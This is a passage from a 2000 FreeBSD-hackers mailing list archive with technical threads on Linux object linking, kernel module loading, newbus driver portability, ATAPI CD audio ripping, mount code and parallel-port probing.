can cause a system hang? If so how do I > > find out that there is a memory leakage? > > > There are many good books and web sites that cover basic debugging > techniques. Could you please give me some pointers to these locations and books? I would be glad to know those locations where I can get some debug techniques. > > You have to provide a *lot* more information than this. We can only help you > if you are able to produce some detailed description of your problem. If you > can't tell sitting behind the box, how are we supposed to know what you've > done wrong? If you need any more information, please let me know. The problem is because the system hangs, I cant do anything to find out what's happening. thanks a lot --gb > > Kees Jan > > ============================================== > Everyone is responsible for his own actions, > and (people tend to forget this) the effect > they have on others. > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 30 4:56: 6 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.gmx.net (pop.gmx.net [194.221.183.20]) by hub.freebsd.org (Postfix) with SMTP id ADDA037B5F7 for ; Tue, 30 May 2000 04:55:48 -0700 (PDT) (envelope-from d_f0rce@gmx.de) Received: (qmail 4824 invoked by uid 0); 30 May 2000 11:55:46 -0000 Received: from unknown (HELO blade) (212.118.36.37) by mail01.rzmi.gmx.net with SMTP; 30 May 2000 11:55:46 -0000 From: "d_f0rce" To: "Aleksandr A.Babaylov" Cc: Subject: AW: AW: Linking Linux object files under FreeBSD Date: Tue, 30 May 2000 14:00:03 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <200005291756.VAA29703@aaz.links.ru> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > When I do a "chroot /compat/linux/ /bin/bash" I have to > > install a whole developement environment under /compat/linux or > > do I miss something here. > YES OF CAUSE! > You need full linux developement environment to translate > or link something for linux > I think that in named now /usr/ports/devel/linux_devtools > (it was linux_devel when I work with) Just to improve my knowledge: Is it possible to link those "linux object files" to a FreeBSD programm which runs on FreeBSD without Linux Emu? Thanks, Alex To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 30 5: 5:41 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.gmx.net (pop.gmx.net [194.221.183.20]) by hub.freebsd.org (Postfix) with SMTP id B7DF837B5F2 for ; Tue, 30 May 2000 05:05:31 -0700 (PDT) (envelope-from d_f0rce@gmx.de) Received: (qmail 23222 invoked by uid 0); 30 May 2000 12:05:27 -0000 Received: from unknown (HELO blade) (212.118.36.37) by mail01.rzmi.gmx.net with SMTP; 30 May 2000 12:05:27 -0000 From: "d_f0rce" To: "Marco van de Voort" Cc: , Subject: Re: Linking Linux object files under FreeBSD Date: Tue, 30 May 2000 14:09:41 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <20000530115720.3A21C9726@toad.stack.nl> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Thanks for your detailed answers. I will try and install the linux developement environment now. Regards, Alex To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 30 5:40:36 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from kiew.egd.igd.fhg.de (kiew.egd.igd.fhg.de [192.102.170.32]) by hub.freebsd.org (Postfix) with ESMTP id 5FA8A37B52F for ; Tue, 30 May 2000 05:38:08 -0700 (PDT) (envelope-from runge@rostock.zgdv.de) Received: from rostock.zgdv.de (penguin.egd.igd.fhg.de [192.102.170.145]) by kiew.egd.igd.fhg.de (Netscape Messaging Server 3.6) with ESMTP id AAA5124 for ; Tue, 30 May 2000 14:37:52 +0200 Message-ID: <3933B6C9.E174B05B@rostock.zgdv.de> Date: Tue, 30 May 2000 14:40:41 +0200 From: Thomas Runge X-Mailer: Mozilla 4.72 [en] (X11; U; FreeBSD 4.0-STABLE i386) X-Accept-Language: en, de MIME-Version: 1.0 Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: AW: AW: Linking Linux object files under FreeBSD References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG d_f0rce wrote: > Just to improve my knowledge: > Is it possible to link those "linux object files" to > a FreeBSD programm which runs on FreeBSD without Linux Emu? In general: No. If your c-files compile without *any* "#include ", then it could be possible. -- Tom To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 30 7:17:52 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from kcmso1.proxy.att.com (kcmso1.att.com [192.128.133.69]) by hub.freebsd.org (Postfix) with ESMTP id 3F2CC37BDC6; Tue, 30 May 2000 07:17:35 -0700 (PDT) (envelope-from myevmenkin@att.com) Received: from njb140r1.ems.att.com ([135.65.202.58]) by kcmso1.proxy.att.com (AT&T IPNS/MSO-2.2) with ESMTP id KAA28784; Tue, 30 May 2000 10:17:25 -0400 (EDT) Received: from njb140bh1.ems.att.com by njb140r1.ems.att.com (8.8.8+Sun/ATTEMS-1.4.1 sol2) id KAA09912; Tue, 30 May 2000 10:16:25 -0400 (EDT) Received: by njb140bh1.ems.att.com with Internet Mail Service (5.5.2650.21) id ; Tue, 30 May 2000 10:17:25 -0400 Message-ID: From: "Yevmenkin, Maksim N, CSCIO" To: "'freebsd-current@freebsd.org'" Cc: "'freebsd-hackers@freebsd.org'" Subject: kerneld for -current Date: Tue, 30 May 2000 10:17:22 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="koi8-r" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello All, is there any interest in ``kerneld'' (a-la Linux) for FreeBSD? i've got some working prototype at http://home.earthlink.net/~evmax/kerneld.tar.gz so far, i've got it working on -current for char devices and network interfaces. file systems are currently in progress. if there is no interest - i'll paint it in green and throw it away :) thanks, emax p.s. yes, i do know that ifconfig is able to load modules and file system modules can be loaded by kernel. but may be better to have one interface? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 30 8:25:32 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mass.cdrom.com (adsl-63-206-88-224.dsl.snfc21.pacbell.net [63.206.88.224]) by hub.freebsd.org (Postfix) with ESMTP id 84F2E37BDD7 for ; Tue, 30 May 2000 08:25:27 -0700 (PDT) (envelope-from msmith@mass.cdrom.com) Received: from mass.cdrom.com (localhost [127.0.0.1]) by mass.cdrom.com (8.9.3/8.9.3) with ESMTP id IAA00971; Tue, 30 May 2000 08:27:54 -0700 (PDT) (envelope-from msmith@mass.cdrom.com) Message-Id: <200005301527.IAA00971@mass.cdrom.com> X-Mailer: exmh version 2.1.1 10/15/1999 To: Dennis Cc: hackers@FreeBSD.ORG Subject: Re: 4.0 - Isa devices not being probed (fwd) In-reply-to: Your message of "Mon, 29 May 2000 12:59:04 EDT." <200005291658.MAA23819@etinc.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 30 May 2000 08:27:54 -0700 From: Mike Smith Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > some people need more density than your obviously trivial needs, and the > "new" bus-oriented implementation makes writing drivers with complex > controllers much more difficult than need-be. Speaking from some experience dealing with what would have to be considered "complex" controllers, this is entirely untrue; newbus/busspace/busdma make the job a lot easier. -- \\ Give a man a fish, and you feed him for a day. \\ Mike Smith \\ Tell him he should learn how to fish himself, \\ msmith@freebsd.org \\ and he'll hate you for a lifetime. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 30 8:29:48 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mass.cdrom.com (adsl-63-206-88-224.dsl.snfc21.pacbell.net [63.206.88.224]) by hub.freebsd.org (Postfix) with ESMTP id 592F337B561 for ; Tue, 30 May 2000 08:29:45 -0700 (PDT) (envelope-from msmith@mass.cdrom.com) Received: from mass.cdrom.com (localhost [127.0.0.1]) by mass.cdrom.com (8.9.3/8.9.3) with ESMTP id IAA00992; Tue, 30 May 2000 08:32:15 -0700 (PDT) (envelope-from msmith@mass.cdrom.com) Message-Id: <200005301532.IAA00992@mass.cdrom.com> X-Mailer: exmh version 2.1.1 10/15/1999 To: Dennis Cc: hackers@FreeBSD.ORG Subject: Re: 4.0 - Isa devices not being probed In-reply-to: Your message of "Mon, 29 May 2000 13:01:07 EDT." <200005291700.NAA23834@etinc.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 30 May 2000 08:32:15 -0700 From: Mike Smith Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > At 06:36 PM 5/27/00 -0700, Mike Smith wrote: > >> Existing bus abstractions tend to let think that the same software driver > >> can deal with different buses, bridges or IO methods without having to > >> care about how these things actually behave, notably regarding buffering > >> and ordering rules. This is untrue. > > > >A good bus abstraction lets you care as much or as little as necessary. > >The NetBSD framework (which we use) allows you to do this. > > The best "portable" coding method is with memory-mapped registers, which > seems to have been omitted from this "implementation", which is the gripe > here. It "seems" that you haven't "read" any of the "documentation" or the "code" either. > Perhaps "portable" within the OS was your goal, but in the mean time > "portable" between very different OSs has been tainted. If you mean "FreeBSD should be Linux-driver-compatible", then your bus is leaving and you should be warming a seat. > One of the problems with "free software" is that the big picture is missed > because the people writing OS's dont care (and for the most part dont > understand) about vendors supporting multiple, very different, OS's. One of the problems these vendors face is that "free software" OS developers are less interested in pursuing the lowest common denominator. If you think that "memory mapped registers" are platform-portable, all I can suggest is that you try playing with a few different platforms, and preferably some time when you're prepared for a nasty shock. -- \\ Give a man a fish, and you feed him for a day. \\ Mike Smith \\ Tell him he should learn how to fish himself, \\ msmith@freebsd.org \\ and he'll hate you for a lifetime. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 30 8:56:43 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from etinc.com (et-gw.etinc.com [207.252.1.2]) by hub.freebsd.org (Postfix) with ESMTP id 92ABB37B806; Tue, 30 May 2000 08:56:39 -0700 (PDT) (envelope-from dennis@etinc.com) Received: from dbsys (dbsys.etinc.com [207.252.1.18]) by etinc.com (8.9.3/8.9.3) with SMTP id MAA26766; Tue, 30 May 2000 12:01:02 -0400 (EDT) Message-Id: <200005301601.MAA26766@etinc.com> X-Sender: dennis@etinc.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0 Date: Tue, 30 May 2000 12:01:12 -0400 To: Mike Smith From: Dennis Subject: Re: 4.0 - Isa devices not being probed Cc: hackers@FreeBSD.ORG In-Reply-To: <200005301532.IAA00992@mass.cdrom.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 08:32 AM 5/30/00 -0700, you wrote: >> At 06:36 PM 5/27/00 -0700, Mike Smith wrote: >> >> Existing bus abstractions tend to let think that the same software driver >> >> can deal with different buses, bridges or IO methods without having to >> >> care about how these things actually behave, notably regarding buffering >> >> and ordering rules. This is untrue. >> > >> >A good bus abstraction lets you care as much or as little as necessary. >> >The NetBSD framework (which we use) allows you to do this. >> >> The best "portable" coding method is with memory-mapped registers, which >> seems to have been omitted from this "implementation", which is the gripe >> here. > >It "seems" that you haven't "read" any of the "documentation" or the >"code" either. No one has indicated that there is any docs on it, only that they are "in the works", which is promising but not terribly useful. The comments in the source dont qualify as documention. >> Perhaps "portable" within the OS was your goal, but in the mean time >> "portable" between very different OSs has been tainted. > >If you mean "FreeBSD should be Linux-driver-compatible", then your bus is >leaving and you should be warming a seat. No, it means that it the ability to port from one OS to another is a win for both camps and that it should be a consideration. >> One of the problems with "free software" is that the big picture is missed >> because the people writing OS's dont care (and for the most part dont >> understand) about vendors supporting multiple, very different, OS's. > >One of the problems these vendors face is that "free software" OS >developers are less interested in pursuing the lowest common denominator. Which is why linux is running away with the market, because its too difficult to support several free OSs so you just support the largest market. > >If you think that "memory mapped registers" are platform-portable, all I >can suggest is that you try playing with a few different platforms, and >preferably some time when you're prepared for a nasty shock. I said OS portable, not platform portable. The original purpose of Freebsd was to be an intel specific optimization of BSD. Clearly that is no longer the case. DB To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 30 9: 9:56 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mass.cdrom.com (adsl-63-206-88-224.dsl.snfc21.pacbell.net [63.206.88.224]) by hub.freebsd.org (Postfix) with ESMTP id 8686D37B76D for ; Tue, 30 May 2000 09:09:51 -0700 (PDT) (envelope-from msmith@mass.cdrom.com) Received: from mass.cdrom.com (localhost [127.0.0.1]) by mass.cdrom.com (8.9.3/8.9.3) with ESMTP id JAA01179; Tue, 30 May 2000 09:12:25 -0700 (PDT) (envelope-from msmith@mass.cdrom.com) Message-Id: <200005301612.JAA01179@mass.cdrom.com> X-Mailer: exmh version 2.1.1 10/15/1999 To: Dennis Cc: hackers@FreeBSD.ORG Subject: Re: 4.0 - Isa devices not being probed In-reply-to: Your message of "Tue, 30 May 2000 12:01:12 EDT." <200005301601.MAA26766@etinc.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 30 May 2000 09:12:25 -0700 From: Mike Smith Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > >> >A good bus abstraction lets you care as much or as little as necessary. > >> >The NetBSD framework (which we use) allows you to do this. > >> > >> The best "portable" coding method is with memory-mapped registers, which > >> seems to have been omitted from this "implementation", which is the gripe > >> here. > > > >It "seems" that you haven't "read" any of the "documentation" or the > >"code" either. > > No one has indicated that there is any docs on it, only that they are "in > the works", which is promising but not terribly useful. The comments in the > source dont qualify as documention. You've been pointed to the extensive manpage collection several times now. On top of this, there are a stack of drivers available for reference purposes. > >> Perhaps "portable" within the OS was your goal, but in the mean time > >> "portable" between very different OSs has been tainted. > > > >If you mean "FreeBSD should be Linux-driver-compatible", then your bus is > >leaving and you should be warming a seat. > > No, it means that it the ability to port from one OS to another is a win > for both camps and that it should be a consideration. This is still pretty straightforward, actually. Your problem is that you're looking at an API with *more* functionality, and you need to incorporate the superset. You'll typically find that everything your Linux driver does can be handled with a wrapper that's also busspace compatible. > >> One of the problems with "free software" is that the big picture is missed > >> because the people writing OS's dont care (and for the most part dont > >> understand) about vendors supporting multiple, very different, OS's. > > > >One of the problems these vendors face is that "free software" OS > >developers are less interested in pursuing the lowest common denominator. > > Which is why linux is running away with the market, because its too > difficult to support several free OSs so you just support the largest market. This suggests that we should just become "Linux". No thanks. > >If you think that "memory mapped registers" are platform-portable, all I > >can suggest is that you try playing with a few different platforms, and > >preferably some time when you're prepared for a nasty shock. > > I said OS portable, not platform portable. The original purpose of Freebsd > was to be an intel specific optimization of BSD. Clearly that is no longer > the case. So glad you noticed. -- \\ Give a man a fish, and you feed him for a day. \\ Mike Smith \\ Tell him he should learn how to fish himself, \\ msmith@freebsd.org \\ and he'll hate you for a lifetime. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 30 9:13:34 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from marvin.kazrak.com (adsl-209-233-16-235.dsl.snfc21.pacbell.net [209.233.16.235]) by hub.freebsd.org (Postfix) with ESMTP id 2B5AD37BE0A for ; Tue, 30 May 2000 09:13:31 -0700 (PDT) (envelope-from brad@kazrak.com) Received: by marvin.kazrak.com (Postfix, from userid 1001) id 40E3224C; Tue, 30 May 2000 09:13:31 -0700 (PDT) Date: Tue, 30 May 2000 09:13:31 -0700 From: Brad Jones To: Scott Gasch Cc: freebsd-hackers@freebsd.org Subject: Re: ioctl for reading raw ATAPI CDDA data Message-ID: <20000530091331.A62390@marvin.kazrak.com> References: <20000529113458.A15204@www.medsp.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <20000529113458.A15204@www.medsp.com>; from scott@mail.medsp.com on Mon, May 29, 2000 at 11:34:58AM -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, May 29, 2000 at 11:34:58AM -0700, Scott Gasch wrote: > Hi, > > I'm trying to rip CDDA from an ATAPI cdrom device. So first I tried > using cdd from /usr/ports. No dice, the resulting file is static. > Next I searched for an alternative and found daex. Since I'm running > FreeBSD-4.0-RELEASE the kernel mods the author describes are outdated. > I modified the daex source to use the CDIOCREADAUDIO ioctl and got > another program ripping static data from my CDs. 'cdda2wav' now works with ATAPI devices as well; I've had good luck with it. However, the problem with 'cdd', in my experience, was that it was returning data in the wrong byte order. 'sox -x' fixed it for me. > Next I thought the CDROM device simply didn't support the function so > I replaced it with a CDROM I know can rip (it does in Windows). Still > the static... > > So my question is -- does anyone have any experience with the above > ioctl call? Is the buffer in some format other than the raw data > format? Are there some other bits in there? Why is it coming back > full of static instead of music? Does anyone know a better ripping > tool? Does cdd work on your BSD box? Yes, cdd works on my box with ATAPI devices. Try running your data through sox or another converter program to byteswap it, and see if that fixes your problem. BJ -- Brad Jones -- brad@kazrak.com Any connection between your reality and mine is purely coincidental. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 30 10:49:28 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from almso1.proxy.att.com (almso1.att.com [192.128.167.69]) by hub.freebsd.org (Postfix) with ESMTP id 20C3237B589; Tue, 30 May 2000 10:49:19 -0700 (PDT) (envelope-from myevmenkin@att.com) Received: from flf960r1.ems.att.com ([135.71.244.37]) by almso1.proxy.att.com (AT&T IPNS/MSO-2.2) with ESMTP id NAA17677; Tue, 30 May 2000 13:49:17 -0400 (EDT) Received: from njb140bh3.ems.att.com by flf960r1.ems.att.com (8.8.8+Sun/ATTEMS-1.4.1 sol2) id NAA01596; Tue, 30 May 2000 13:46:53 -0400 (EDT) Received: by njb140bh3.ems.att.com with Internet Mail Service (5.5.2650.21) id ; Tue, 30 May 2000 13:49:16 -0400 Message-ID: From: "Yevmenkin, Maksim N, CSCIO" To: "'freebsd-hackers@freebsd.org'" Cc: "'freebsd-current@freebsd.org'" Subject: stupid FS questions Date: Tue, 30 May 2000 13:49:15 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="koi8-r" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello All, i've been looking at ``mount_xxx'' code and have noticed "strange" thing. all ``mount_xxx'' utilities have common part of code, like error = getvfsbyname("xxx", &vfc); if (error && vfsisloadable("xxx")) { if (vfsload("xxx")) err(EX_OSERR, "vfsload(xxx)"); endvfsent(); /* flush cache */ error = getvfsbyname("xxx", &vfc); } if (error) errx(1, "xxx filesystem is not available"); if (mount(vfc.vfc_name, dir, mntflags, &args) < 0) err(1, NULL); 1) what is the reason for this? why can't move this code to ``mount''? 2) what is the purpose of the following code in ``/sys/kern/vfs_syscalls.c''? ... for (vfsp = vfsconf; vfsp; vfsp = vfsp->vfc_next) if (!strcmp(vfsp->vfc_name, fstypename)) break; if (vfsp == NULL) { linker_file_t lf; /* Refuse to load modules if securelevel raised */ if (securelevel > 0) { vput(vp); return EPERM; } /* Only load modules for root (very important!) */ if ((error = suser(p)) != 0) { vput(vp); return error; } error = linker_load_file(fstypename, &lf); if (error || lf == NULL) { vput(vp); if (lf == NULL) error = ENODEV; return error; } ... from my understanding this is done to load FS module. or did i miss someting? thanks, emax To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 30 10:53: 6 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from elvis.intrepid.net (elvis.intrepid.net [209.190.164.163]) by hub.freebsd.org (Postfix) with ESMTP id ACFC337B756 for ; Tue, 30 May 2000 10:53:01 -0700 (PDT) (envelope-from mark@elvis.intrepid.net) Received: (from mark@localhost) by elvis.intrepid.net (8.9.3/8.9.3) id NAA07868 for freebsd-hackers@freebsd.org; Tue, 30 May 2000 13:53:00 GMT (envelope-from mark) Date: Tue, 30 May 2000 13:53:00 +0000 From: Mark Conway Wirt To: freebsd-hackers@freebsd.org Subject: ppc0 problems in 4.0-stable? Message-ID: <20000530135259.A4949@intrepid.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I upgraded from 3.4-STABLE to 4.0-STABLE, and -- for the most part -- the upgrade (done via source) went well. I've managed to get most things working, with the exception of lpt0. Previously, everything was detected fine: Mar 15 09:55:43 elvis2 /kernel: ppc0 at 0x3bc irq 7 flags 0x40 on isa Mar 15 09:55:43 elvis2 /kernel: ppc0: Generic chipset (NIBBLE-only) \ in COMPATIBLE mode Mar 15 09:55:43 elvis2 /kernel: lpt0: on ppbus 0 Mar 15 09:55:43 elvis2 /kernel: lpt0: Interrupt-driven port whereas now: May 29 12:47:40 elvis2 /kernel: ppc0: cannot reserve I/O port range Now, the previous port was 0x3bc, and I've looked though the kernel messages and nothing is showing as assigned to that port, so I'm not sure what the problem is. The device is detected neither with my custom kernel, nor with GENERIC. I've also looked though the config file, and nothing should be assigned the port in question. Any help is greatly appreciated. I posted this question to -questions a day or so ago, but haven't had any suggestions. --Mark To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 30 10:55:54 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from freebsd.dk (freebsd.dk [212.242.42.178]) by hub.freebsd.org (Postfix) with ESMTP id C609E37BBCA for ; Tue, 30 May 2000 10:55:48 -0700 (PDT) (envelope-from sos@freebsd.dk) Received: (from sos@localhost) by freebsd.dk (8.9.3/8.9.1) id TAA83851; Tue, 30 May 2000 19:55:27 +0200 (CEST) (envelope-from sos) From: Soren Schmidt Message-Id: <200005301755.TAA83851@freebsd.dk> Subject: Re: ioctl for reading raw ATAPI CDDA data In-Reply-To: <20000530091331.A62390@marvin.kazrak.com> from Brad Jones at "May 30, 2000 09:13:31 am" To: brad@kazrak.com (Brad Jones) Date: Tue, 30 May 2000 19:55:27 +0200 (CEST) Cc: scott@mail.medsp.com (Scott Gasch), freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG It seems Brad Jones wrote: > > I'm trying to rip CDDA from an ATAPI cdrom device. So first I tried > > using cdd from /usr/ports. No dice, the resulting file is static. > > Next I searched for an alternative and found daex. Since I'm running > > FreeBSD-4.0-RELEASE the kernel mods the author describes are outdated. > > I modified the daex source to use the CDIOCREADAUDIO ioctl and got > > another program ripping static data from my CDs. Actually CDIOCREADAUDIO is no longer needed i FreeBSD >= 4.0, if you set the blocksize with the CDRIOCSETBLOCKSIZE ioctl, it will happily read (and write on CDR/CDRW/DVDRAM devices) the data with a normal read on the /dev/acdxc device, even dd can be used for that.... -Søren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 30 11: 5:53 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 95A4137B5CB for ; Tue, 30 May 2000 11:05:49 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id MAA42346; Tue, 30 May 2000 12:05:47 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id MAA17843; Tue, 30 May 2000 12:05:27 -0600 (MDT) Message-Id: <200005301805.MAA17843@harmony.village.org> To: Doug Rabson Subject: Re: subr_bus.c | kldload | kldunload Cc: Bob Kot , freebsd-hackers@FreeBSD.ORG In-reply-to: Your message of "Tue, 30 May 2000 08:50:50 BST." References: Date: Tue, 30 May 2000 12:05:27 -0600 From: Warner Losh Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message Doug Rabson writes: : Without seeing the code, it appears that you are creating a new device : instance each time the module is loaded. Probably you should try to only : do this the first time (e.g. by looking to see if device msm0 : exists). This part of the interface could use some improvement. Yes. I've had to explain very carefully that the instance tree is different than strucutres used to hold the drivers so it is OK for the underlying driver to go away (assuming the usual caveats about disconnecting interrupts and the like). This does makeit hard to debug the identify routine if you are trying to automagically detect the device, or if you are using the hints mechanism to move the device after the first load of the driver. : > Knowing that my in-experienced approach at getting my msm_probe() : > and msm_attach() to execute may not be the right way to do things, : > I will start by just asking for a referral to some other driver : > that is implemented as a module with the newbus architecture, that : > will kldload / kldunload with no side effects and that preferably is : > an ISA device. If no one responds to this request I will repost with : > actual code and a laundry list of observed symptoms. : : Warner Losh might be able to help you out here. There is my iopener led driver that might be a good stard. I'm writing some articles about this now, but have been so swamped that I'm not sure when I'll get them done :-(. You can download the led driver from: http://people.freebsd.org/~imp/led.tar.gz Please let me know if you have problems with this, or comments on this. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 30 13:13:51 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from bingnet2.cc.binghamton.edu (bingnet2.cc.binghamton.edu [128.226.1.18]) by hub.freebsd.org (Postfix) with ESMTP id 876A537B5FF; Tue, 30 May 2000 13:13:37 -0700 (PDT) (envelope-from zzhang@cs.binghamton.edu) Received: from sol.cs.binghamton.edu (sol.cs.binghamton.edu [128.226.123.100]) by bingnet2.cc.binghamton.edu (8.9.3/8.9.3) with ESMTP id QAA01365; Tue, 30 May 2000 16:13:34 -0400 (EDT) Date: Tue, 30 May 2000 16:12:25 -0400 (EDT) From: Zhihui Zhang To: "Yevmenkin, Maksim N, CSCIO" Cc: "'freebsd-hackers@freebsd.org'" , "'freebsd-current@freebsd.org'" Subject: Re: stupid FS questions In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I believe that it is used to dynamic load filesystem modules. Please read the following pages to understand what is a kernel module: http://thc.inferno.tusculum.edu/files/thc/bsdkern.html -Zhihui On Tue, 30 May 2000, Yevmenkin, Maksim N, CSCIO wrote: > Hello All, > > i've been looking at ``mount_xxx'' code and have noticed "strange" thing. > all ``mount_xxx'' utilities have common part of code, like > > error = getvfsbyname("xxx", &vfc); > if (error && vfsisloadable("xxx")) { > if (vfsload("xxx")) > err(EX_OSERR, "vfsload(xxx)"); > endvfsent(); /* flush cache */ > error = getvfsbyname("xxx", &vfc); > } > if (error) > errx(1, "xxx filesystem is not available"); > > if (mount(vfc.vfc_name, dir, mntflags, &args) < 0) > err(1, NULL); > > 1) what is the reason for this? why can't move this code to ``mount''? > 2) what is the purpose of the following code in > ``/sys/kern/vfs_syscalls.c''? > > ... > for (vfsp = vfsconf; vfsp; vfsp = vfsp->vfc_next) > if (!strcmp(vfsp->vfc_name, fstypename)) > break; > if (vfsp == NULL) { > linker_file_t lf; > > /* Refuse to load modules if securelevel raised */ > if (securelevel > 0) { > vput(vp); > return EPERM; > } > /* Only load modules for root (very important!) */ > if ((error = suser(p)) != 0) { > vput(vp); > return error; > } > error = linker_load_file(fstypename, &lf); > if (error || lf == NULL) { > vput(vp); > if (lf == NULL) > error = ENODEV; > return error; > } > ... > > from my understanding this is done to load FS module. > or did i miss someting? > > thanks, > emax > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 30 13:21:14 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from kcmso1.proxy.att.com (kcmso1.att.com [192.128.133.69]) by hub.freebsd.org (Postfix) with ESMTP id B90F037B9AF; Tue, 30 May 2000 13:21:03 -0700 (PDT) (envelope-from myevmenkin@att.com) Received: from gab200r1.ems.att.com ([135.37.94.32]) by kcmso1.proxy.att.com (AT&T IPNS/MSO-2.2) with ESMTP id QAA23223; Tue, 30 May 2000 16:20:57 -0400 (EDT) Received: from njb140bh2.ems.att.com by gab200r1.ems.att.com (8.8.8+Sun/ATTEMS-1.4.1 sol2) id QAA20064; Tue, 